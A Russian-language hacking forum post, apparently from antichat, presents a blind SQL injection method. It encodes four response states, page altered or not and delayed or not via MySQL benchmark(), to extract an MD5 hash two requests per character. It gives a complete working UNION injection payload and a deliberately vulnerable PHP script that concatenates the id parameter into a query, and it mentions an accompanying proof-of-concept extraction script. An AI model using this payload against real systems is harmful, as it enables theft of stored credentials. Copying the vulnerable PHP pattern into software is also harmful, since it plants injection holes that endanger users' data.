Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:
страничка:
1) страница приходит в обычном состоянии (false)
2) страница приходит изменённой (true)
ответ от сервера:
1) пришёл сразу (false)
2) пришёл с задержкой (true)
Таким образом, влияя на эти 2 параметра, можно задать 4 состояния
Делаем вот что:
1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef).
2) Составляем табличку истинности:
№|A|B
_|_|_
1|0|0
2|0|1
3|1|0
4|1|1
где:
№ - номер группы к которой принадлежит данный символ,
A - изменить ответ или нет
B - включать бенчмарк или нет
3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше
4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1.
Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро)
Теперь практика.
Запрос, к БД реализующий логику:
Код:
select id, title, date from news where id=-1 union select 1,2,concat(
@ch:=substring((select value from test1 where id=1),1,1),
@a:=find_in_set(@ch,'a,b,c,d'),
@b:=find_in_set(@ch,'e,f,1,2'),
@c:=find_in_set(@ch,'3,4,5,6'),
@d:=find_in_set(@ch,'7,8,9,0'),
if(@a>0,1,
if(@b>0,(select 1 union select 2),
if(@c>0,benchmark(1500000,md5(1)),
if(@d>0,if(benchmark(1500000,md5(1)), 100, (select 3 union select 4)),-1)
)
)
))
from test1 -- 1
Думаю всё тут ясно, единственное я использовал concat чтобы весь мусор сложить в одну ячейку и SQL не жаловался на неправильное количество столбцов + в 4м случае засунул benchmark в if, чтобы ошибка появилась только после его выполнения. (Это первое что пришло в голову, может есть методы лучше)
Скрипт дёргающий хеш по этому алгоритму добавлен ниже.
З.Ы.
Для примера уязвимого скрипта был использован модифицированный скрипт 5 задачки из РОА:
Цитата:
<?php
mysql_connect("localhost", "root", "");
mysql_select_db("roa");
$query = mysql_query('select id, title, date from news where id= '.$id.';');
if(mysql_error())
echo mysql_error();
else
$result = mysql_fetch_row($query); echo($result[0].'<br><hr><br>'.$result[1]);
?>
|
в БД (ROA) лежат таблицы:
news(id, title, date) и test1(id,value)
в test1.value лежит md5 хеш
Я пробовал на примере (1bc29b36f623ba82aaf6724fd3b16718), всё прошло гладко.
Единственно - в примере ниже алфавит задан статически, дёргается только 16 символов, а не 32, также очень высокое значение бенчмарка (для точности тестов, хотя уменьшив значения в 2 раза, вывод остался корректным) и неэлегантно написаный код. Ясно что его нужно модифицировать.
По хорошему, если считаете, что метод имеет право на жизнь, его нужно переделать так, чтобы алфавит задавался и распихивался по состояниям динамически, примерно как тут:
https://forum.antichat.ru/showpost.p...64&postcount=3
З.Ы.
А ну да, уязвимый файлик должен зваться sql.php, а урл задаваться вот так: php.exe poc.php
http://test1.ru:80/
Ну и уязвимый параметр: id